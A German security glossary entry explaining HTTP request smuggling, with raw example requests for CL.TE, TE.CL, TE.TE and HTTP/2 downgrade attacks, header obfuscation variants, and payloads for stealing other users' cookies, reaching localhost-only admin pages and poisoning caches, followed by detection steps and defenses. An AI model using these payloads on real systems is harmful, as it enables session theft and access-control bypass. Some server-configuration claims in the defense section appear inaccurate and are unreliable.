Zum Inhalt springen

Services, Wiki-Artikel, Blog-Beiträge und Glossar-Einträge durchsuchen

↑↓NavigierenEnterÖffnenESCSchließen
Angriffstechniken Glossar

HTTP Request Smuggling - Desynchronisierung von HTTP-Proxies

HTTP Request Smuggling (CWE-444) ist ein Angriff der Desynchronisierungen zwischen Front-End (Reverse-Proxy, CDN) und Back-End-Server ausnutzt. Unterschiedliche Interpretationen von Content-Length und Transfer-Encoding: chunked erlauben es Angreifern, HTTP-Requests zu 'schmuggeln'. Varianten: CL.TE (Front-End nutzt Content-Length, Back-End Transfer-Encoding), TE.CL (umgekehrt), TE.TE (beide TE, unterschiedliche Behandlung). Resultat: andere User-Requests kapern, Authentifizierung bypassen, Cache-Poisoning.

HTTP Request Smuggling ist eine fortgeschrittene Angriffstechnik die 2019 durch James Kettle (PortSwigger) umfassend dokumentiert wurde. Das Kernprinzip: Wenn ein Load Balancer und ein Backend-Server dieselbe Anfrage unterschiedlich parsen, kann ein Angreifer einen zweiten Request in den TCP-Datenstrom “schmuggeln” - der dann vom Backend als eigenständige Anfrage eines anderen Nutzers verarbeitet wird.

Protokoll-Grundlagen

HTTP/1.1 Request-Längen-Bestimmung - zwei Methoden:

Content-Length (CL):
  POST /search HTTP/1.1
  Content-Length: 11

  q=smuggling
  → Body ist exakt 11 Bytes lang

Transfer-Encoding: chunked (TE):
  POST /search HTTP/1.1
  Transfer-Encoding: chunked

  b          ← Chunk-Größe in Hex (11 dezimal)
  q=smuggling
  0          ← Terminierungs-Chunk (leer)
             ← Leerzeile nach dem letzten Chunk

RFC 7230: Wenn beide Header vorhanden → Content-Length IGNORIEREN!
  → Aber verschiedene Implementierungen handhaben dies UNTERSCHIEDLICH!
  → Das ist die Grundlage für HTTP Request Smuggling

Request-Pipeline in Mehrstufiger Architektur:
  Browser → [Front-End: Load Balancer / CDN / WAF] → [Back-End: App-Server]

  Problem:
  → Front-End sieht eine HTTP-Request-Grenze
  → Back-End sieht eine ANDERE HTTP-Request-Grenze
  → Differenz = "Smuggled Request"

Angriffstypen: CL.TE, TE.CL, TE.TE

1. CL.TE - Front-End: Content-Length, Back-End: Transfer-Encoding:

   Angreifer sendet:
   POST / HTTP/1.1
   Host: victim.com
   Content-Length: 13
   Transfer-Encoding: chunked

   0

   SMUGGLED

   Front-End (nutzt CL=13):
   → Sieht: "0\r\n\r\nSMUGGLED" als einen Request (13 Bytes)
   → Leitet komplett weiter

   Back-End (nutzt TE):
   → Chunk: "0" = Ende des Requests → erster Request ist fertig!
   → "SMUGGLED" = Anfang des NÄCHSTEN Requests!
   → Nächster Nutzer-Request wird an "SMUGGLED" angehängt

---

2. TE.CL - Front-End: Transfer-Encoding, Back-End: Content-Length:

   POST / HTTP/1.1
   Content-Length: 3
   Transfer-Encoding: chunked

   8
   SMUGGLED
   0


   Front-End (nutzt TE):
   → Chunk 1: "SMUGGLED" (8 Bytes)
   → Terminierungs-Chunk: "0"
   → Ein vollständiger Request

   Back-End (nutzt CL=3):
   → Body = "8\r\n" (3 Bytes!)
   → Rest ("SMUGGLED\r\n0\r\n\r\n") = Anfang des nächsten Requests!

---

3. TE.TE - Beide: Transfer-Encoding, aber unterschiedliche Behandlung:

   Transfer-Encoding: chunked
   Transfer-Encoding: cow     ← unbekannte Kodierung

   → Front-End erkennt "chunked" und verarbeitet TE
   → Back-End erkennt "cow" als unbekannt → fällt auf CL zurück!
   → Ergebnis: effektiv TE.CL-Szenario

   Weitere Obfuscation-Varianten:
   Transfer-Encoding: xchunked
   Transfer-Encoding :\tchunked    ← Tab vor Doppelpunkt
   Transfer-Encoding: chunked
   Transfer-encoding: chunked      ← Kleinschreibung (RFC: Header case-insensitive!)
   X: X[\n]Transfer-Encoding: chunked  ← Header-Injection

---

4. HTTP/2 Downgrade Smuggling (H2.CL / H2.TE):

   → CDN/Front-End akzeptiert HTTP/2 vom Client
   → Aber: Backend unterstützt nur HTTP/1.1
   → CDN konvertiert HTTP/2 → HTTP/1.1 (Downgrade!)

   Angreifer injiziert in HTTP/2 Request-Header:
   :method: POST
   :path: /
   :authority: victim.com
   content-length: 0
   transfer-encoding: chunked

   → Front-End ignoriert TE in HTTP/2 (kein Chunked in H2!)
   → Backend erhält HTTP/1.1 mit BEIDEN Headern → Desynchronisierung!

Angriffsziele und Auswirkungen

Was ist mit Smuggling möglich?

1. HTTP-Request-Capturing (andere User-Requests stehlen):

   Angreifer schmuggelt:
   POST /comment HTTP/1.1
   Host: victim.com
   Content-Length: 400          ← Großer CL = wartet auf 400 Bytes!

   action=store&body=           ← Request-Body beginnt hier

   → Nächster Nutzer-Request wird angehängt (bis 400 Bytes voll!)
   → Angreifer liest aus: Cookie, Authorization-Header, POST-Body
   → Credentials + Session-Token des Opfers gestohlen!

2. Privilegien-Eskalation via Internal-Redirect:

   Back-End hat /admin nur für 127.0.0.1 zugänglich:
   Angreifer schmuggelt:
   GET /admin HTTP/1.1
   Host: localhost

   → Back-End sieht Request von "localhost" (Front-End forwarded es intern!)
   → Admin-Interface zugänglich!

3. WAF-Bypass:

   WAF prüft: POST /api/admin HTTP/1.1 → BLOCKED!
   Angreifer schmuggelt Admin-Request als Teil eines erlaubten Requests:
   → WAF sieht normalen Request
   → Back-End-Server verarbeitet den Admin-Endpunkt!

4. Cache-Poisoning via Smuggling:

   Angreifer schmuggelt einen Request dessen Response gecacht wird:
   GET /static/js/app.js HTTP/1.1

   Gecachte Response enthält Angreifer-Payload!
   → Alle folgenden Cache-Requests liefern Angreifer-JS aus!

5. Response Queue Poisoning (HTTP/2):

   → Angreifer sendet so viele Requests dass Response-Queue desynchronisiert
   → Andere Nutzer erhalten falsche Responses
   → Session-Daten anderer Nutzer sichtbar!

Erkennung und Testing

Testing-Ansatz (nur für autorisierte Tests!):

Burp Suite - HTTP Request Smuggler Extension:
  → Burp App Store: HTTP Request Smuggler
  → Automated: Scan → Issues → HTTP Request Smuggling
  → Manual: Repeater mit non-default HTTP/1

Timing-basierte Erkennung (CL.TE):
  Schritt 1 - Normal-Request (Baseline):
  POST / HTTP/1.1
  Content-Length: 4
  Transfer-Encoding: chunked

  12ab
  HALLO

  → Normales Timeout?

  Schritt 2 - Anomalie testen:
  POST / HTTP/1.1
  Content-Length: 6
  Transfer-Encoding: chunked

  0

  X

  → Wenn Back-End TE nutzt: wartet auf 6-Byte-Body (CL)!
  → Response kommt VERZÖGERT → CL.TE bestätigt!

Differential Response Analysis:
  → Zwei identische Requests senden
  → Wenn zweiter Request andere Response gibt → "Vergifteter Puffer"!
  → Beweist: erster Request hat Daten in Back-End-Puffer hinterlassen

Wichtig:
  → Testing NUR auf eigenen/autorisierten Zielsystemen!
  → Smuggling kann andere Nutzer beeinflussen → Kollateralschäden möglich!
  → immer mit sehr kurzen/harmlosen Payloads beginnen (Schaden minimieren)

Schutzmaßnahmen

Defense-Strategien:

1. HTTP/2 Ende-zu-Ende nutzen (keine Downgrade-Konvertierung):
   → Front-End und Back-End beide HTTP/2 → kein Downgrade-Smuggling
   → HTTP/2 hat klares Frame-basiertes Protokoll (kein CL/TE-Konflikt!)

2. Front-End: Request-Normalisierung erzwingen:
   HAProxy:
   option http-server-close
   option forwardfor
   # Normalisiert CL/TE vor Weiterleitung

   Nginx:
   proxy_http_version 1.1;          # HTTP/1.1 für Upstream
   proxy_set_header Connection "";   # Verhindert Connection-Reuse

3. Ambiguous Requests ablehnen (beides vorhanden → Fehler):
   → Wenn SOWOHL Content-Length als AUCH Transfer-Encoding → 400 zurückgeben
   → RFC-konformes Verhalten: bei Konflikt Content-Length ignorieren (HTTP/1.1)

4. Back-End-Server-Konfiguration:
   Apache: RejectOverlappingHeaders On (ab 2.4.55)
   IIS: Direkt betroffen durch CL.TE → Update auf aktuelle Version!
   Tomcat: rejectIllegalHeader=true in server.xml

5. Monitoring:
   □ HTTP 400-Fehler häufen sich: möglicherweise Smuggling-Tests
   □ Ungewöhnliche Chunked-Encoding-Requests an statische Endpunkte
   □ Requests mit sowohl CL als auch TE loggen + alertieren

6. WAF-Regeln (als Ergänzung, kein Ersatz!):
   → Requests mit beiden Headern (CL + TE) ablehnen
   → Transfer-Encoding Obfuscation erkennen (Tab, Leerzeichen)
   → TE-Header mit unbekannten Werten blockieren

Cookielose Analyse via Matomo (selbst gehostet, kein Tracking-Cookie). Datenschutzerklärung